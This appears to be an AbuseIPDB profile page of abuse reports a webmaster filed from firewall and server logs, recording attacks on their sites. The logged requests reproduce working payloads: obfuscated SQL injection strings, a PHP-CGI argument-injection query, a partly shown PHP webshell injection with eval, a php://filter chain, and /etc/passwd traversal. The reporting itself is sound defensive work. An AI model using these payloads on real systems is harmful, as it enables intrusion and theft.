AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User borisperc , the webmaster of psmedia.mywire.org, joined AbuseIPDB in May 2021 and has reported 10,197 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER SUPPORTER

IP	Date	Comment	Categories
🇫🇷 90.118.184.111	03 Sep 2026	03/Sep/26 08:50:42 #6394347 CRITICAL 280 90.118.184.111 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:50:42 #6394347 CRITICAL 280 90.118.184.111 GET /index.php - SQL injection - [GET:limit = 50' ORDER BY 1-- -] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 88.187.90.44	03 Sep 2026	03/Sep/26 08:50:58 #3305280 CRITICAL 256 88.187.90.44 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:50:58 #3305280 CRITICAL 256 88.187.90.44 GET /index.php - SQL injection - [GET:limit = ) AND (234180697=234180697AND EXTRACTVALUE(1438,CONCAT(0x7e,((SELECT (ELT(1438=1438,1)))),0x7e))] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 88.183.39.202	03 Sep 2026	03/Sep/26 08:51:14 #2214748 CRITICAL 256 88.183.39.202 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:51:14 #2214748 CRITICAL 256 88.183.39.202 GET /index.php - SQL injection - [GET:product_id = ) AND (53283917=53283917 UNION ALL SELECT 'bsbzlfkvrhxnatbtvyyrbgofzlbgstpy'-- 0c5e9k] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 85.69.107.118	03 Sep 2026	03/Sep/26 08:51:22 #1389319 CRITICAL 256 85.69.107.118 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:51:22 #1389319 CRITICAL 256 85.69.107.118 GET /index.php - SQL injection - [GET:product_id = )//AND//(1872350042=1872350042//UNION//ALL//SELECT//'bsbzlfkvrhxnatbtvyyrbgofzlbgstpy'--/**/0c5e9k] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 37.66.22.3	03 Sep 2026	03/Sep/26 08:51:31 #2543564 CRITICAL 256 37.66.22.3 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:51:31 #2543564 CRITICAL 256 37.66.22.3 GET /index.php - SQL injection - [GET:product_id = )//ANd//(559721450=559721450AnD//eXtRaCtvAlUE(7761,coNcAT(0x7e,((seLect//(elt(7761=7761,1)))),0x7e))] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇾🇹 92.142.211.219	03 Sep 2026	03/Sep/26 08:51:40 #4610362 HIGH 257 92.142.211.219 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:51:40 #4610362 HIGH 257 92.142.211.219 GET /index.php - SQL injection - [GET:path = ')//AND//('ndQKPT'='nDqKpt'AND//EXTRACTVALUE(3399,CONCAT(0x7e,((SELECT//(ELT(3399=3399,1)))),0x7e))] - oglasi.hopto.org 03/Sep/26 08:51:40 #6856950 CRITICAL 256 92.142.211.219 GET /index.php - SQL injection - [GET:product_id = )//AND//(258690548=258690548//UniON//aLL//Select//'bsbzlfkvrhxnatbtvyyrbgofzlbgstpy'--/**/0c5E9K] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 88.188.83.40	03 Sep 2026	03/Sep/26 08:51:48 #6856397 CRITICAL 256 88.188.83.40 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:51:48 #6856397 CRITICAL 256 88.188.83.40 GET /index.php - SQL injection - [GET:limit = )//And//(418005954=418005954//unioN//ALL//sElEct//'lfyulproxisbppypsrfzukdodmerigsh'--/**/uGDYFK] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 81.250.25.80	03 Sep 2026	03/Sep/26 08:52:06 #2745535 CRITICAL 256 81.250.25.80 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:52:06 #2745535 CRITICAL 256 81.250.25.80 GET /index.php - SQL injection - [GET:product_id = )/!50000AND/(1814713376=1814713376AND/*/EXTRACTVALUE(7761,/!50000CONCAT/(0x7e,((/!50000SELECT*/(ELT(7761=7761,1)))),0x7e))] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 88.165.223.146	03 Sep 2026	03/Sep/26 08:52:14 #5562960 HIGH 257 88.165.223.146 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:52:14 #5562960 HIGH 257 88.165.223.146 GET /index.php - SQL injection - [GET:path = ')/!50000AND/('rtklav'='rtklav'/!50000AND/EXTRACTVALUE(3399,/!50000CONCAT/(0x7e,((/!50000SELECT/(ELT(3399=3399,1)))),0x7e))] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 88.162.166.122	03 Sep 2026	03/Sep/26 08:52:22 #3857406 CRITICAL 256 88.162.166.122 GET /index.php - SQL injection - [GET ... show more 03/Sep/26 08:52:22 #3857406 CRITICAL 256 88.162.166.122 GET /index.php - SQL injection - [GET:limit = )//AND//(1600861006=1600861006//UNION//ALL//SELECT//'lfyulproxisbppypsrfzukdodmerigsh'--/**/ugdyfk] - oglasi.hopto.org TIME STAMP IS DIFFERENT POSTED ON ABUSEIPDB ALL SIMILAR ATTACKS BADIPLIST ACCESS ON: https://oglasi.hopto.org/iplist-ninjafw-cms.txt show less	Web App Attack SQL Injection
🇫🇷 88.167.113.26	02 Sep 2026	... 88.167.113.26 pcsnet.freeddns.org - [02/Sep/2026:02:04:00 +0200] "GET /index.php?route=À§À¢%252 ... show more ... 88.167.113.26 pcsnet.freeddns.org - [02/Sep/2026:02:04:00 +0200] "GET /index.php?route=À§À¢%2527)//AND//(À§À¢%2527snouvnÀ§À¢%2527=À§À¢%2527snouvnÀ§À¢%2527AND//EXTRACTVALUE(8663,CONCAT(0x7e,((SELECT//(ELT(8663=8663,1)))),0x7e)) HTTP/2.0" 403 1424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 350 1471 88.167.113.26 pcsnet.freeddns.org - [02/Sep/2026:02:04:00 +0200] "GET /index.php?route=')//AND//('roqvfa'='roqvfa'//UNION//ALL//SELECT//'bwblfuacoqihllxjteklcotgcklhcmmt'--/**/a5rhy2 HTTP/2.0" 403 1426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 298 1496 ecc... all similar attacks autopost BadIPs: https://pcsnet.freeddns.org/iplist-cms.txt show less	Bad Web Bot Web App Attack SQL Injection
🇸🇨 102.135.43.3	30 Aug 2026	This server used to attack NAS 12 failed logins from ips 102.135.43.1/24 all attacks from month Augu ... show more This server used to attack NAS 12 failed logins from ips 102.135.43.1/24 all attacks from month August from 1.8. to 30.8.2026 ips used 102.135.43.3 to 102.135.43.110 Block this server location Seychelles if you have home DiskStation installed RaspberryPI or OrangePI OR original box from Synology! Full list of similar attacks on https://perc.ddns.net/ip.blacklist and live list on https://perc.ddns.net/iplist-pcsnet.txt show less	Brute-Force Web App Attack Hacking
🇺🇸 204.12.235.218	24 Aug 2026	24/Aug/26 12:52:38 #5397308 CRITICAL 313 204.12.235.218 POST /?-d+allow_url_include%3D1+-d+au ... show more 24/Aug/26 12:52:38 #5397308 CRITICAL 313 204.12.235.218 POST /?-d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp%3A%2F%2Finput - PHP-CGI exploit (CVE-2012-1823) - [SERVER:QUERY_STRING = -d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp%3A%2F%2Finput] - pcsnet.ddnsgeek.com FULL REPORT LIST BADIPS ON: https://pcsnet.ddnsgeek.com/iplist-cms.txt show less	Web App Attack Hacking
🇩🇪 88.216.220.91	19 Aug 2026	13/Aug/26 00:50:49 #6371594 CRITICAL 155 88.216.220.91 POST /wp-content/plugins/wp-file-uplo ... show more 13/Aug/26 00:50:49 #6371594 CRITICAL 155 88.216.220.91 POST /wp-content/plugins/wp-file-upload/a57c56e40501e.php - Code injection - [POST:9 = <?php echo 409723*20;if(md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_...] - 89.142.197.202 All similar attacks badips download list for ip 89.142.197.202 is on https://psmedia.mywire.org/ips-cms.txt show less	Web App Attack Hacking
🇬🇧 45.43.75.81	19 Aug 2026	07/Aug/26 01:12:06 #7993063 CRITICAL 520 45.43.75.81 GET /wp-content/plugins/wp-file-uploa ... show more 07/Aug/26 01:12:06 #7993063 CRITICAL 520 45.43.75.81 GET /wp-content/plugins/wp-file-upload/57c56e40501e.php - Data URI scheme or PHP wrappers - [COOKIE:wfu_ABSPATH = php://filter/convert.iconv.UTF8.CSISO2022KR\|convert.base64-encode\|convert.iconv.UTF8.UTF7\|convert.iconv.SE2.UTF-16\|convert.iconv.CSIBM921.NAPLPS\|convert.iconv.855.CP936\|convert.ic...] - 89.142.197.202 All similar attacks badips download list for ip 89.142.197.202 is on https://psmedia.mywire.org/ips-cms.txt show less	Web App Attack Hacking
🇸🇬 152.42.220.235	19 Aug 2026	01/Aug/26 06:04:27 #2996507 CRITICAL 1 152.42.220.235 GET /wp-json/lp/v1/courses/archive-co ... show more 01/Aug/26 06:04:27 #2996507 CRITICAL 1 152.42.220.235 GET /wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fetc%2Fpasswd&return_type=html - Directory traversal #1 - [GET:template_path = ../../../etc/passwd] - 89.142.197.202 01/Aug/26 06:04:28 #8238447 CRITICAL 1485 152.42.220.235 POST / - WP vulnerability - [SERVER:HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER = 1] - 89.142.197.202 All similar attacks badips download list for ip 89.142.197.202 is on https://psmedia.mywire.org/ips-cms.txt show less	Web App Attack Hacking
🇩🇪 51.195.39.150	19 Aug 2026	04/Aug/26 13:17:59 #8127027 CRITICAL 1444 51.195.39.150 GET /?_wpm=35fe7057ffed92ff7bc5a0b90f ... show more 04/Aug/26 13:17:59 #8127027 CRITICAL 1444 51.195.39.150 GET /?_wpm=35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900 - WP vulnerability - [REQUEST:_wpm = 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900] - 89.142.197.202 All similar attacks badips download list for ip 89.142.197.202 is on https://psmedia.mywire.org/ips-cms.txt show less	Web App Attack Hacking
🇸🇬 152.42.220.235	01 Aug 2026	152.42.220.235 pcsnet.dyn.ts.si - [01/Aug/2026:08:04:28 +0200] "GET /wp-json/lp/v1/courses/archive-c ... show more 152.42.220.235 pcsnet.dyn.ts.si - [01/Aug/2026:08:04:28 +0200] "GET /wp-json/lp/v1/courses/archive-course?template_path=../../../etc/passwd&return_type=html HTTP/1.1" 403 4005 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 650 9578 152.42.220.235 pcsnet.ddnsgeek.com - [01/Aug/2026:08:04:28 +0200] "POST / HTTP/1.1" 403 3524 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 816 9110 152.42.220.235 pcsnet.ddnsgeek.com - [01/Aug/2026:08:04:27 +0200] "GET /wp-json/lp/v1/courses/archive-course?template_path=../../../etc/passwd&return_type=html HTTP/1.1" 403 3524 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604.1" 687 9109 152.42.220.235 pcsnet.ddnsgeek.com - [01/Aug/2026:08:04:27 +0200] "POST /wp-admin/admin-ajax.php HTTP/1.1" 403 840 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36... show less	Bad Web Bot Web App Attack
🇧🇪 34.38.168.126	30 May 2026	26/May/26 19:12:54 #2990343 CRITICAL 1 34.38.168.126 GET /index.php - Directory traversal ... show more 26/May/26 19:12:54 #2990343 CRITICAL 1 34.38.168.126 GET /index.php - Directory traversal #1 - [GET:vyycvcrq = ../../etc/passwd] - perc.ddns.net show less	Bad Web Bot
🇵🇱 85.11.187.48	27 May 2026	The IP address [85.11.187.48] experienced 12 failed attempts when attempting to log in to DSM runnin ... show more The IP address [85.11.187.48] experienced 12 failed attempts when attempting to log in to DSM running on PCSNETMEDIA within 60 minutes, and was blocked at 05/23/2026 16:12. show less	Brute-Force Web App Attack Hacking
🇵🇱 85.11.187.20	27 May 2026	The IP address [85.11.187.20] experienced 12 failed attempts when attempting to log in to DSM runnin ... show more The IP address [85.11.187.20] experienced 12 failed attempts when attempting to log in to DSM running on PCSNETMEDIA within 60 minutes, and was blocked at 05/23/2026 16:10. show less	Brute-Force Web App Attack Hacking
🇵🇱 85.11.187.44	27 May 2026	The IP address [85.11.187.44] experienced 12 failed attempts when attempting to log in to DSM runnin ... show more The IP address [85.11.187.44] experienced 12 failed attempts when attempting to log in to DSM running on PCSNETMEDIA within 60 minutes, and was blocked at 05/23/2026 16:06. show less	Brute-Force Web App Attack Hacking
🇵🇱 85.11.187.40	27 May 2026	The IP address [85.11.187.40] experienced 12 failed attempts when attempting to log in to DSM runnin ... show more The IP address [85.11.187.40] experienced 12 failed attempts when attempting to log in to DSM running on PCSNETMEDIA within 60 minutes, and was blocked at 05/23/2026 16:01. show less	Brute-Force Web App Attack Hacking
🇵🇱 85.11.187.36	27 May 2026	The IP address [85.11.187.36] experienced 12 failed attempts when attempting to log in to DSM runnin ... show more The IP address [85.11.187.36] experienced 12 failed attempts when attempting to log in to DSM running on PCSNETMEDIA within 60 minutes, and was blocked at 05/23/2026 15:58. show less	Brute-Force Web App Attack Hacking
🇵🇱 85.11.187.12	27 May 2026	The IP address [85.11.187.12] experienced 12 failed attempts when attempting to log in to DSM runnin ... show more The IP address [85.11.187.12] experienced 12 failed attempts when attempting to log in to DSM running on PCSNETMEDIA within 60 minutes, and was blocked at 05/23/2026 15:55. show less	Brute-Force Web App Attack Hacking